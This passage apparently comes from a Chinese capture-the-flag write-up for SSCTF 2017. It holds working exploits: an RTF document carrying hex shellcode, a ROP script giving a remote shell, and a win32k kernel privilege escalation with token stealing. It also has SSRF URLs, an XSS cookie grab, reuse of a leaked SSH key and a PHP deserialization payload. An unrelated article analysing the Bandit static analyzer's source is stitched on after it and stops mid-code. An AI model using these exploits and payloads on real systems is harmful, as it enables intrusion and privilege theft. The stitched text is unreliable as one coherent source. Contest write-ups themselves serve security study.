buff[fz] = 0;
fMessageBoxA(NULL,buff,Title,MB_OK);
//getchar();
}
void ShellCodeEnd(void)
{
__asm
{
nop
nop
nop
}
}
void main()
{
unsigned char *p_ptr = (unsigned char *)ShellCodeStart;
unsigned char *p_end = (unsigned char *)ShellCodeEnd;
printf("size:%dn", p_end - p_ptr);
while (p_ptr < p_end)
{
printf("%02x", *p_ptr);
p_ptr++;
}
ShellCodeStart();
}
Exp：test.doc如下：
{rtf1{}{shp{*shpinst{sp{sv1;1;41414141414142424242414141414141414141414141414141411245fa7f00000000000000000000000000000000000000009090909090909090e90b010000cccccccccccccccccccccc558bec83ec085356576886570d0068884e0d00e81a0000008945fc68fa8b340068884e0d00e8080000008945f8e9b5000000558bec5356575164ff3530000000588b400c8b480c8b118b41306a028b7d085750e85b00000085c074048bcaebe78b4118508b583c03c38b5878585003d88b4b1c8b53208b5b2403c803d003d88b32585003f06a01ff750c56e82300000085c0740883c20483c302ebe35833d2668b13c1e20203ca0301595f5e5b8be55dc20800558bec51535233c933db33d28b45088a1080ca6003dad1e30345108a0884c9e0ee33c08b4d0c3bd97401405a5b598be55dc20c008b45088b4dfc89088b550c8b45f889025f5e5b8be55dc3cccc558bec81ec8c0000005356578d45fc508d4df851e8e7feffff83c408b86c6c00008d55a452c745a455736572c745a833322e648945acc745804d657373c7458461676542c745886f784100c745986d737663c7459c72742e648945a0c745b0666f7065c745b46e000000c745d866726561c745dc64000000c745b866736565c745bc6b000000c745c86674656cc745cc6c000000c745c066636c6fc745c473650000c745d06d616c6cc745d46f630000c78574ffffff53534354c78578ffffff46323031c7857cffffff37000000c7458c633a5c66c745906c61672ec7459474787400c745ec72620000ff55f88d4d805150ff55fc8d5598528945e0ff55f88bf08d45b05056ff55fc8d4dd851568bf8ff55fc8d55b852568945f0ff55fc8bd88d45c85056ff55fc8d4dc051568945f4ff55fc8d55d052568945e8ff55fc8945e48d45ec508d4d8c51ffd76a028bf06a0056ffd356ff55f46a006a00568bf8ffd38d570152ff55e456578bd86a0153ff55f056ff55e883c43c33c085ff7e0a90803418cc403bc77cf76a008d8574ffffff50536a00c6043b00ff55e05f5e5b8be55dc3cccccccccccccccccccccccccc}{sn pfragments}}}}}
成功截图：
**Pwn250 pwn2**
**分析：**
漏洞很简单，栈溢出，如下：
**利用：**
直接rop即可，利用代码如下：
from zio import *
is_local = True
is_local = False
binary_path = "./250"
libc_file_path = ""
#libc_file_path = "./libc.so.6"
ip = "60.191.205.81"
port = 2017
if is_local:
target = binary_path
else:
target = (ip, port)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
#io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
return io
def gen_rop_data(func_addr, args, pie_text_base = 0):
p_ret = [0x080481b2, 0x08048480, 0x0804847f, 0x0804847e, 0x080483c7, 0x08098774]
rop_data = ''
rop_data += l32(func_addr)
if len(args) > 0:
rop_data += l32(p_ret[len(args)] + pie_text_base)
for arg in args:
rop_data += l32(arg)
return rop_data
from pwn import*
import time
def pwn(io):
#offset info
if is_local:
#local
offset_system = 0x0
offset_binsh = 0x0
else:
#remote
offset_system = 0x0
offset_binsh = 0x0
io.read_until("]")
dl_mk_stack_exe = 0x080A0AF0
context(arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.i386.sh())
#0x080e77dc : add ebx, esp ; add dword ptr [edx], ecx ; ret
add_ebx_esp = 0x080e77dc
#0x080481c9 : pop ebx ; ret
p_ebx_ret = 0x080481c9
#0x0804f2ea : mov eax, ebx ; pop ebx ; ret
mov_eax_ebx_p_ret = 0x0804f2ea
#0x0806cbb5 : int 0x80
p_eax_ret = 0x080b89e6
p_ebx_ret = 0x080481c9
p_ecx_ret = 0x080df1b9
p_edx_ret = 0x0806efbb
int80_addr = 0x0806cbb5
read_addr = 0x0806D510
bss_addr = 0x080ece00
payload = ""
payload += "a"*0x3a
payload += l32(0)
payload += gen_rop_data(read_addr, [0, bss_addr, 8])
payload += l32(p_eax_ret)
payload += l32(0xb)
payload += l32(p_ebx_ret)
payload += l32(bss_addr)
payload += l32(p_ecx_ret)
payload += l32(0)
payload += l32(p_edx_ret)
payload += l32(0)
payload += l32(int80_addr)
io.writeline(str(1000))
io.read_until("]")
io.gdb_hint()
io.writeline(payload)
io.read_until("]")
time.sleep(1)
io.writeline("/bin/shx00")
io.interact()
io.interact()
io = get_io(target)
pwn(io)
**flag如下：**
**Pwn450 本地提权**
这是一个由于PDEV未初始化引用导致的漏洞，首先修改poc，并且运行，用windbg的pipe功能远程调试win7 ，会捕获到漏洞触发位置。
kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
这个位置eax引用了0x0，需要跟踪这个eax由什么地方得到，首先分析win32k!bGetRealizedBrush函数。
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{
函数定义了3个变量，其中a3是EngRealizeBrush函数，a1是一个BRUSH结构体，a2是一个EBRUSHOBJ结构体，而漏洞触发位置的eax就由EBRUSHOBJ结构体得来，跟踪分析一下这个过程。
kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334 mov eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值，交给eax，这个值为0
969e055a 8b401c mov eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c mov dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0，引发无效内存访问
969e0560 f6402401 test byte ptr [eax+24h],1
经过上面的分析，我们需要知道，EBRUSHOBJ+34h位置存放着什么样的值，直接来看EBRUSHOBJ结构体的内容。
kd> dd 8effcaf8
8effcaf8 ffffffff 00000000 00000000 00edfc13
8effcb08 00edfc13 00000000 00000006 00000004
8effcb18 00000000 00ffffff fe96b7c4 00000000
8effcb28 00000000 fd2842e8 ffbff968 ffbffe68
这里+34h位置存放的值是fd2842e8，而fd2842e8+1c存放的是
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
这里对象不明朗没关系，来看一下+1c位置存放的是什么样的结构，通过kb堆栈回溯（这里由于多次重启堆栈地址发生变化，不影响调试）
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
跟踪外层函数调用，在NtGdiFillRgn函数中
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 进这里
传入的第一个参数是SURFOBJ对象，来看一下这个对象的内容
kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff call win32k!EngPaint (96adb697)
kd> dd esp
903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60
第一个参数SURFOBJ的值是ffb58778，继续往后跟踪
kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508 push dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8 mov ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8
903fcaf8 ffffffff 00000000 00000000 00edfc13
903fcb08 00edfc13 00000000 00000006 00000004
903fcb18 00000000 00ffffff ffaab7c4 00000000
903fcb28 00000000 ffb58768 ffbff968 ffbffe68
903fcb38 ffbbd540 00000006 fe57bc38 00000014
903fcb48 000000d3 00000001 ffffffff 83f77f01
903fcb58 83ec0892 903fcb7c 903fcbb0 00000000
903fcb68 903fcc10 83e17924 00000000 00000000
kd> dd ffb58768
ffb58768 068501b7 00000001 80000000 8754b030
ffb58778 00000000 068501b7 00000000 00000000
ffb58788 00000008 00000008 00000020 ffb588bc
发现在EBRUSHOBJ+34h位置存放的值，再+10h存放的正是之前的SURFOBJ，也就是说，之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值，而这个值来看一下SURFOBJ的结构
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
这个位置存放的是hdev对象，正是因为未对这个对象进行初始化直接引用，导致了漏洞的发生。
漏洞利用时，在win32k!bGetRealizedBrush找到一处调用
.text:BF840810 loc_BF840810: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+2E0j
.text:BF840810 mov ecx, [ebp+P]
.text:BF840813 mov ecx, [ecx+2Ch]
.text:BF840816 mov edx, [ebx+0Ch]
.text:BF840819 push ecx
.text:BF84081A push edx
.text:BF84081B push [ebp+var_14]
.text:BF84081E push eax
.text:BF84081F call edi ;
利用call edi可以跳转到我们要的位置，edi来自于a2，也就是未初始化对象赋值，因此我们可以控制这个值，接下来看看利用过程。
利用这个未初始化的对象，可以直接利用零页内存绕过限制，有几处跳转，第一处
v20 = a2;//v20赋值
if ( *((_DWORD *)a2 + 284) & 0x200000 && (char *)a3 != (char *)EngRealizeBrush )
{
v21 = *((_DWORD *)v5 + 13);
if ( v21 )
v22 = (struct _SURFOBJ *)(v21 + 16);
else
v22 = 0;
if ( a3(v5, v22, 0, 0, 0, *((_DWORD *)v5 + 3) | 0x80000000) )// come to this?
{
v19 = 1;
goto LABEL_24;
}
v20 = a2;//v20赋值
}
v23 = *((_WORD *)v20 + 712);
if ( !v23 )//这里有一个if语句跳转
goto LABEL_23;
这时候v20的值是a2，而a2的值来自于 a2 = *(struct EBRUSHOBJ **)(v6 +
28);，之前已经分析过，由于未初始化，这个值为0
那么第一处在v23的if语句跳转中，需要置0+0x590位置的值为不为0的数。
第二处在
v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
if ( !*(_WORD *)v24 )
goto LABEL_23;
这个地方又要一个if语句跳转，这个地方需要置0x592位置的值为不为0的数。
最后一处，也就是call edi之前的位置
.text:BF8407F0 mov edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD ; 134: if ( v26 )
.text:BF8407FD cmp edi, esi//这里仍旧是和0比较
.text:BF8407FF jz short loc_BF840823
这个地方需要edi和esi做比较，edi不为0，这里赋值为替换token的shellcode的值就是不为0的值了，直接可以跳转。
因此，需要在源码中构造这三个位置的值。
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
最后替换system token即可完成利用
**杂项**
**Misc50 签到**
**题面：** Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==
>>> import base64
>>> str = 'Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ=='
>>> base64.b64decode(str)
'ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}
解base64得
ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}
解栅栏得
ggqht{ggQht_gsQ10jsf#@fopwh}
解凯撒加密得
ssctf{ssCtf_seC10ver#@rabit}
**Misc100 flag在哪里**
分析下流量包： [Expert Info (Chat/Sequence): GET /.nijiakadaye/info/refs?service=git-upload-pack HTTP/1.1rn]
发现这是一些git文件
通过GitHack把文件下载下来后继续分析：
root@kali:~/Desktop/GitHack/dist/60.191.205.87# git log
commit 6a0bbb4f6ce6d101c0cf5abac4b04ff004b1a918
Author: zhang tie <[email protected]>
Date: Wed Apr 26 06:10:14 2017 -0400
this is flag
commit 8894bb4d45643d52b5eb8175710999fcd398ebd4
Author: zhang tie <[email protected]>
Date: Wed Apr 26 06:08:12 2017 -0400
666666666
commit 473e9cce7391e913ffcf10b96ba6e4c0b950fe8e
Author: zhang tie <[email protected]>
Date: Wed Apr 26 06:05:28 2017 -0400
test pass
commit 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f
Author: zhang tie <[email protected]>
Date: Wed Apr 26 05:46:06 2017 -0400
password?
commit eac8d383f192730a605bb5d3115aa4bbba8a99ea
Author: zhang tie <[email protected]>
Date: Wed Apr 26 05:32:31 2017 -0400
pass??
commit cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc
Author: zhang tie <[email protected]>
Date: Wed Apr 26 05:29:33 2017 -0400
pass????
在 8894bb4d45643d52b5eb8175710999fcd398ebd4 下看到了
root@kali:~/Desktop/GitHack/dist/60.191.205.87# git show 8894bb4d45643d52b5eb8175710999fcd398ebd4
warning: refname '8894bb4d45643d52b5eb8175710999fcd398ebd4' is ambiguous.
Git 通常不会创建一个以40位十六进制字符命名的引用，因为当你提供40位
十六进制字符时将被忽略。不过这些引用也可能被错误地创建。例如：
git checkout -b $br $(git rev-parse ...)
当 "$br" 空白时一个40位十六进制的引用将被创建。请检查这些引用，
可能需要删除它们。用 "git config advice.objectNameWarning false"
命令关闭本消息通知。
commit 8894bb4d45643d52b5eb8175710999fcd398ebd4
Author: zhang tie <[email protected]>
Date: Wed Apr 26 06:08:12 2017 -0400
666666666
diff --git a/ssctf/phpcms/templates/flag.txt b/ssctf/phpcms/templates/flag.txt
new file mode 100644
index 0000000..7746a53
--- /dev/null
+++ b/ssctf/phpcms/templates/flag.txt
@@ -0,0 +1 @@
+SSCTF{xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=}
SSCTF{xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=}
但是 这是被加密了的字符串
继续往下看，在
root@kali:~/Desktop/GitHack/dist/60.191.205.87# git show 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f
commit 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f
Author: zhang tie <[email protected]>
Date: Wed Apr 26 05:46:06 2017 -0400
password?
diff --git a/ssctf/pass.php b/ssctf/pass.php
index 23fdea9..f0acac5 100644
--- a/ssctf/pass.php
+++ b/ssctf/pass.php
@@ -1 +1,30 @@
-this is pass?
+<?php
+$encrypt = base64_encode(wtf('flag_password', 'ssctf'));
+function wtf($data,$pwd) {
+ $cipher ="";
+ $key[] ="";
+ $box[] ="";
+ $pwd_length = strlen($pwd);
+ $data_length = strlen($data);
+ for ($i = 0; $i < 256; $i++) {
+ $key[$i] = ord($pwd[$i % $pwd_length]);
+ $box[$i] = $i;
+ }
+ for ($j = $i = 0; $i < 256; $i++) {
+ $j = ($j + $box[$i] + $key[$i]) % 256;
+ $tmp = $box[$i];
+ $box[$i] = $box[$j];
+ $box[$j] = $tmp;
+ }
+ for ($a = $j = $i = 0; $i < $data_length; $i++) {
+ $a = ($a + 1) % 256;
+ $j = ($j + $box[$a]) % 256;
+ $tmp = $box[$a];
+ $box[$a] = $box[$j];
+ $box[$j] = $tmp;
+ $k = $box[(($box[$a] + $box[$j]) % 256)];
+ $cipher .= chr(ord($data[$i]) ^ $k);
+ }
+ return $cipher;
+}
+?>
找到了加密方法 通过分析，我们知道这是 RC4加密，那么我只需要对密文重新一次加密便能得到明文
所以修改下php，重新加密后，我们得到flag f6daf9bf00e45f52f23d844f20952503
**Misc150 互相伤害！！！**
解压出来是个流量包，
从流量包中可以导出一堆图片 一堆图片 不对 是一堆表情包
通过这张图片的二维码 扫到信息一
U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7
bE9uL8lW/KLfbs33aC1XXw==
从图中的 CTF 以及 AES 等信息推测，这是一个AES加密后的密文，密钥极有可能是 CTF
<http://tool.oschina.net/encrypt>
通过在线解除一串字符串:668b13e0b0fc0944daf4c223b9831e49。但这并不是flag
通过对所以图片 binwalk解析，
binwalk *.jpg -e
在第11张图片中看到一个压缩包，尝试用上述解出来的字符串解压
得到一张二维码中间还有一个二维码的图片，反色扫描得到flag
**Misc200 我们的秘密是绿色的**
这是一个图片隐写 需要运用到 OurSecret这个隐写工具
通过题目信息，key是图中绿色的文字 0405111218192526 得到一个 名字为 try的压缩包
压缩包密码提示： 你知道coffee的生日是多少么~~~
通过字典爆破得到密码是： 19950822
之后进入下一层 通过明文攻击得到
Advanced Archive Password Recovery 统计信息:
加密的 ZIP/RAR/ACE/ARJ 文件: C:UserswingsDesktopflag.zip
总计口令: n/a
总计时间: 4m 11s 358ms
平均速度(口令/秒): n/a
这个文件的口令 : Y29mZmVl
十六进制口令: 59 32 39 6d 5a 6d 56 6c
得到密文Y29mZmVl
进入下一层伪加密，改加密位后
得到 qddpqwnpcplen%prqwn_{_zz*d@gq} 分别解栅栏 凯撒后得到 flag{ssctf_@seclover%coffee_*}
**Misc300 你知道我在等你么**
对 你知道我在等你吗.mp3 binwalk 处理。得到三个文件，一个提示，一个压缩包，一个MP3
对 mp3文件 strings *.mp3 后 得到 falg_config_@tl_ 这是压缩包密码，从压缩包中解压出一张 咖啡(coffee)图片。
在图片中发现 coffee字样，以及IHDR
猜测后面是一张png图片，从coffee开始把数据dump下来，并保存为png图片，修改png头。得到张二维码，扫描二维码是一个下载链接，
下载下来是txt 文件，但是在内容中看到了PK字样，改为 zip后缀。
然后又是一个伪加密….
得到 a2V5aXMlN0JzZWMxb3ZlciUyNV82dWdzY2FuX0Bjb2ZmZWUlN0Q=
解base64得到 'keyis%7Bsec1over%25_6ugscan_@coffee%7D'
flag是 keyis{sec1over%6ugscan@coffee}
**Web渗透**
**Web100 捡吗？**
题目考的是ssrf，一开始扫描很浪费时间，而且导致服务器几乎崩溃，后来给了hint，然后利用大小写把ftp换成FTP绕过，拿到flag。
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FTP://172.17.0.2/flag.txt
ssctf{85c43ae2851ba3142364b65d3f1e360f}
**Web200 弹幕**
先分析题目，利用websocket在网页中显示弹幕，发现一个特殊的welcome弹幕是一个xss平台payload，然后得到xss平台地址http://117.34.71.7/xssHentai
admin:admin登录，cookie中提示uid为1拿到flag，而admin用户uid不是1。然后发现xss平台接收xss时有xss漏洞。然后http://117.34.71.7/xssHentai/request/1/?body=YOUR
XSS PAYLOAD，然后收到cookie即flag。
**Web300 白吗?全是套路**
看上去有各种信息，但是很多信息都不真实，网站压缩包也没爆破出密码。最后通过web1点ssrf利用file协议读取到源码。
submit.php
<?php
header("CONTENT-TYPE:text/html;charset=UTF-8");
define("HOST","127.0.0.1");
define("USERNAME","root");
define("PASSWORD","");
$con=new mysqli(HOST,USERNAME,PASSWORD,"ctf1");
if(!$con){
echo $con->error;
exit("aaaa");
}
if(!$con->select_db("ctf1")){
echo $con->error;
}
if(!$con->query("SET NAMES utf8")){
echo $con->error;
}
$xss=$_POST["sub"];
$str = addslashes($xss);
/**********鑾峰彇IP************/
class Action
{
function get_outer()
{
$url = 'http://www.ip138.com/ip2city.asp';
$info = file_get_contents($url);
preg_match('|<center>(.*?)</center>|i', $info, $m);
return $m[1];
}
function get_inter()
{
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
}
$p = new Action();
$intip = $p->get_inter();
$outip2= $intip;
@mkdir("/tmp/ids",0777,true);
$sql="insert into ctf1(xss,ip,time,wai_ip) values('$str','$intip',NOW(),'$outip2')";
if($str=$con->query($sql)){
echo "<script>alert('success');window.location.href='index.php'</script>";
$insertid = mysqli_insert_id($con);
file_put_contents("/tmp/ids/".$insertid,"a");
}
else {
echo "<script>alert('fail');</script>";
}
?>
发现直接post提交参数sub为xss payload即可。然后得到referer打开，查看源码发现script标签引用了/admin/js.php
然后直接读取js.php即可拿到flag
view-source:http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=127.0.0.1/admin/js.php
<script>function get_flag()
{
return "ssctf{dedbd1b010b16bc4fd0f1193d631cd9f}";
}</script>
**Web500 WebHook**
题目设计问题导致出现很多非预期，这些就不提了，给一个正确的思路。
首先题目给了github项目，里面有服务器地址。然后审计python源码，有一个内置的KEY上线时被修改，然后大概试了一下，是ssctf。有了KEY就能添加一个github或者coding上的项目，然后每次调用push接口，会从项目得到源码，并把build.json中的文件夹或文件压缩放到outfile目录。然后用户用repo名字和添加repo时设置的密码登录即可下载到这个压缩文件。
这个时候就能读取任意文件或文件夹了。然后下载flag项目，发现里面并没有flag。很久之后在/home/www-data/.ssh/目录下找到私钥，然后读取repos.json拿到flag项目地址。自己利用ssh私钥git
clone一下或者在下载到的flag目录git pull一下，就能得到flag.txt
ssh -T [email protected] -i id_rsa
git clone [email protected]:ljgame/flag.git
cat flag.txt
SSCTF{02d6d06ec9e35d11d1f421a400edbb06}
Web500 CloverSec Logos
在显示图片处找到注入，参数由双引号包裹，经过简单的字符串替换。直接布尔盲注即可，information_schema库好像是由于权限问题跑不出来数据，然后手动猜测了一下（后来放出了hint），表名user，字段名username,password。跑出来密码20位，然后去掉前三后一，cmd5解密是admin^g。成功登陆，然后题目提示vim。访问index.php.swp看到源码，需要使得file_get_contents($_GET[secret])===‘1234’
然后让secret=php://input，post数据为1234即可。
然后读取include.php.swp
这里有一个过滤，利用+就不会正则匹配到数字。把cookie中token参数设置为
O:+4:”Read":1:{s:4:"file";s:63:"php://filter/read=convert.base64-encode/resource=ssctf_flag.php";}
即可读取flag文件
**
**
**传送门**
* * *
[**第三届 SSCTF 全国网络安全大赛—线上赛圆满结束！**](http://bobao.360.cn/ctf/activity/421.html) | 社区文章 |
Bandit是一个用来检查python代码中安全问题的静态分析工具，它会处理各个各个源代码文件，解析出AST抽象语法树，然后对AST节点运行对应的插件，当Bandit扫描结束后会生成安全报告
项目地址：<https://github.com/PyCQA/bandit>
项目文档：<https://bandit.readthedocs.io/en/latest/>
## 安装使用
直接使用的话用pip下载即可
pip3 install bandit
检测存在漏洞的flask项目
`bandit -r ./`
## 自定义漏洞检测
在`bandit`扫描过程中将漏洞库里的内容与被检测代码相对比，以此来检测漏洞。内置的漏洞检测插件存放在
`bandit/plugins`文件夹下，用户也可以构建自己的测试文件来检测自定义的漏洞，方便`bandit`的扩展。
现有的bandit漏洞库可以检查文件权限、硬编码密钥、硬编码临时目录、密码未设置隐私、硬编码SQL语句等类型的漏洞
可以在`bandit -h`查看
用户可以通过三种方式完成Bandit的自定义漏洞
* 编写自定义漏洞插件
以`app_debug.py`插件为例,该插件检测flask服务器是否在生产环境开启了`debug`模式
import bandit
from bandit.core import issue
from bandit.core import test_properties as test
@test.test_id("B201")
@test.checks("Call")
def flask_debug_true(context):
if context.is_module_imported_like("flask"):
if context.call_function_name_qual.endswith(".run"):
if context.check_call_arg_value("debug", "True"):
return bandit.Issue(
severity=bandit.HIGH,
confidence=bandit.MEDIUM,
cwe=issue.Cwe.CODE_INJECTION,
text="A Flask app appears to be run with debug=True, "
"which exposes the Werkzeug debugger and allows "
"the execution of arbitrary code.",
lineno=context.get_lineno_for_call_arg("debug"),
)
`@test.test_id("B201")`是编号装饰器，每个漏洞有特定的编号，在Bandit现有的漏洞库中，编号从B101到B703结束，编号的第一位都是大写字母B，编号第二位将漏洞类型进行了分类
`@test.checks("Call")`是类型漏洞，这里的`Call`表示漏洞是由函数调用引起的，除此之外还有`Str`、`Assert`、`Exec`等类型
在漏洞检测插件的正文，调用了多个bandit的内置函数，我们利用这些内置函数来编写配置文件和漏洞文件
Bandit内置函数表如下
现在来看`app_debug`插件正文就很容易理解了，表示当前节点的上下文环境导入了`flask`包，同时调用该节点的限定名后缀为`.run`，参数名和参数值`debug=True`，如果这些条件都满足，则表示漏洞存在
* 设置imports.py配置文件
`imports.py`用于检测可能会发生危险的import语句，定义了`bandit`里面B401->B415的漏洞。例如可能会导致python反序列化漏洞的相关库
个人感觉这部分还可以再细分一点，就像[safety-db](https://github.com/pyupio/safety-db)一样检测存在漏洞的特定版本的库
* 设置calls.py配置文件
`calls.py`用来检测文件中可能存在漏洞的调用，定义了B301->B325的漏洞，需要检测到漏洞包的导入+漏洞包在正文代码中的调用，需要检测的内容通常由几部分组成，以`.`隔开，必须将每部分都进行匹配之后才可以检测出来，以B303中的`hashlib.md5`为例
当程序中同时出现`import hashlib`和`hashlib.md5()`时，`bandit`能够检测出漏洞；当程序出现`import
hashlib`和`hashlib.md2()`时不能检测漏洞
## 源码分析
`git clone https://github.com/PyCQA/bandit`
安装对应的库文件
pip3 install -r requirements.txt
入口文件在`bandit/cli/main.py`的`main()`
使用方法如下
usage: main.py [-h] [-r] [-a {file,vuln}] [-n CONTEXT_LINES] [-c CONFIG_FILE]
[-p PROFILE] [-t TESTS] [-s SKIPS]
[-l | --severity-level {all,low,medium,high}]
[-i | --confidence-level {all,low,medium,high}]
[-f {csv,custom,html,json,screen,txt,xml,yaml}]
[--msg-template MSG_TEMPLATE] [-o [OUTPUT_FILE]] [-v] [-d] [-q]
[--ignore-nosec] [-x EXCLUDED_PATHS] [-b BASELINE]
[--ini INI_PATH] [--exit-zero] [--version]
[targets [targets ...]]
跟进`main`方法，函数开头进行了项目初始化、获取用户传入的参数，例如我们在前面输入的`-r`参数在这里获取
parser.add_argument(
"-r",
"--recursive",
dest="recursive",
action="store_true",
help="find and process files in subdirectories",
)
表示递归查找和处理该目录下的文件
plugin_info = [
f"{a[0]}\t{a[1].name}" for a in extension_mgr.plugins_by_id.items()
]
blacklist_info = []
for a in extension_mgr.blacklist.items():
for b in a[1]:
blacklist_info.append("{}\t{}".format(b["id"], b["name"]))
plugin_list = "\n\t".join(sorted(set(plugin_info + blacklist_info)))
拼接形成目前能检测的插件列表，即这一部分
检测插件由两部分:`plugin`和`blacklist`组成
`plugin`即在`plugins`文件夹下的插件列表
`blacklist`由两部分组成，详情可见`bandit/blacklists`文件夹下的`calls.py`和`imports.py`
接下来的代码中继续初始化项目参数，创建重要对象`BanditManager`
b_mgr = b_manager.BanditManager(
b_conf,
args.agg_type,
args.debug,
profile=profile,
verbose=args.verbose,
quiet=args.quiet,
ignore_nosec=args.ignore_nosec,
)
来到`discover_files`方法
b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)
该方法传入三个参数
* targets 扫描文件或目录
* recursive 是否递归扫描
* excluded_paths 不扫描的后缀、文件、目录
跟进函数之后获取了我们需要扫描的文件
for fname in targets:
# if this is a directory and recursive is set, find all files
if os.path.isdir(fname):
if recursive:
new_files, newly_excluded = _get_files_from_dir(
fname,
included_globs=included_globs,
excluded_path_strings=excluded_path_globs,
)
files_list.update(new_files)
excluded_files.update(newly_excluded)
`files_list`作为集合存储需要扫描的目标文件列表
`excluded_files`作为集合存储不需要扫描的文件列表
回到`main.py`，再进入`b_mgr.run_tests()`，开始检测漏洞
遍历所有需要检测的文件并进一步操作
for count, fname in enumerate(files):
LOG.debug("working on file : %s", fname)
try:
if fname == "-":
open_fd = os.fdopen(sys.stdin.fileno(), "rb", 0)
fdata = io.BytesIO(open_fd.read())
new_files_list = [
"<stdin>" if x == "-" else x for x in new_files_list
]
self._parse_file("<stdin>", fdata, new_files_list)
else:
with open(fname, "rb") as fdata:
self._parse_file(fname, fdata, new_files_list)
except OSError as e:
self.skipped.append((fname, e.strerror))
new_files_list.remove(fname)
进入`self._parse_file(fname, fdata, new_files_list)`核心函数
该函数传入三个参数
* fname 检测文件名
* fdata 文件内容
* new_files_list 待检测文件列表
跟进后进入`score = self._execute_ast_visitor(fname, fdata, data, nosec_lines)`
def _execute_ast_visitor(self, fname, fdata, data, nosec_lines):
"""Execute AST parse on each file
:param fname: The name of the file being parsed
:param data: Original file contents
:param lines: The lines of code to process
:return: The accumulated test score
"""
score = []
res = b_node_visitor.BanditNodeVisitor(
fname,
fdata,
self.b_ma,
self.b_ts,
self.debug,
